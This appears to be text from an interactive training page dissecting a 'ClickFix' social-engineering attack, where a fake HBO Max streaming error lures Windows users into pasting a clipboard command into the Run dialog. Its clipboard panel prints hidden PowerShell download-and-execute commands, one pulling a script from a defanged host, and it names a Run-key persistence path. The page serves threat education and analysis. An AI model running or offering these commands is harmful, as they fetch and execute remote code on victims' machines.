ClickFix Threat Inspector & Deobfuscation Lab

Social Engineering Anatomy: 'ClickFix' Critical SE Threat

Vector: Malvertising on Reddit / Forums Target OS: Windows 10/11

"HBO Max 4K Ultra HD Streaming Error #0x80040154"

Victim clicks on a sponsored link or Reddit thread promoting a stream. A simulated browser overlay says the video codec failed and instructs user to 'Verify & Fix' with 3 simple keystrokes.

Deceptive Prompt / Hidden Copy

User clicks 'Verify You Are Human' or 'Fix Playback'. JavaScript immediately copies obfuscated command into system clipboard silently via navigator.clipboard.writeText.

Social Engineering Keystroke Lure

Modal displays fake instructions: "Press Win + R, then Ctrl + V, and hit Enter to apply the streaming patch."

Execution via Windows Run Dialogue

Because the clipboard contains a full encoded PowerShell command, the native Run box directly bypasses browser sandboxing and web security boundaries.

Stager Execution & C2 Beaconing

PowerShell starts hidden, disables security warnings, creates Registry persistence, and fetches secondary infostealer payload.

Simulated System Clipboard Buffer

powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JGM9ImNkbnd...')) | iex

powershell -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('https://cdn-stream-update[.]com/patch.ps1')"

Interactive Deobfuscation & IOC Extraction Sandbox Decompiled & Verified

Obfuscation Scheme

Base64 + IEX Pipe

Execution Severity

CRITICAL (9.4)

Persistence Type

HKCU Run Key

Sanitized PowerShell Logic Syntax: AST Decoded

# Deobfuscated Output Loading...

Identified Indicators of Compromise

Type	Indicator	Threat Role	Action

Incident Summary: The simulated payload mimics a streaming media upgrade prompt from a Reddit forum post. If pasted into the Windows Run prompt, it executes a stealth PowerShell script that drops a secondary stager from cdn-stream-update[.]com/patch.ps1 and establishes registry persistence at HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\WinSecurityUpdate.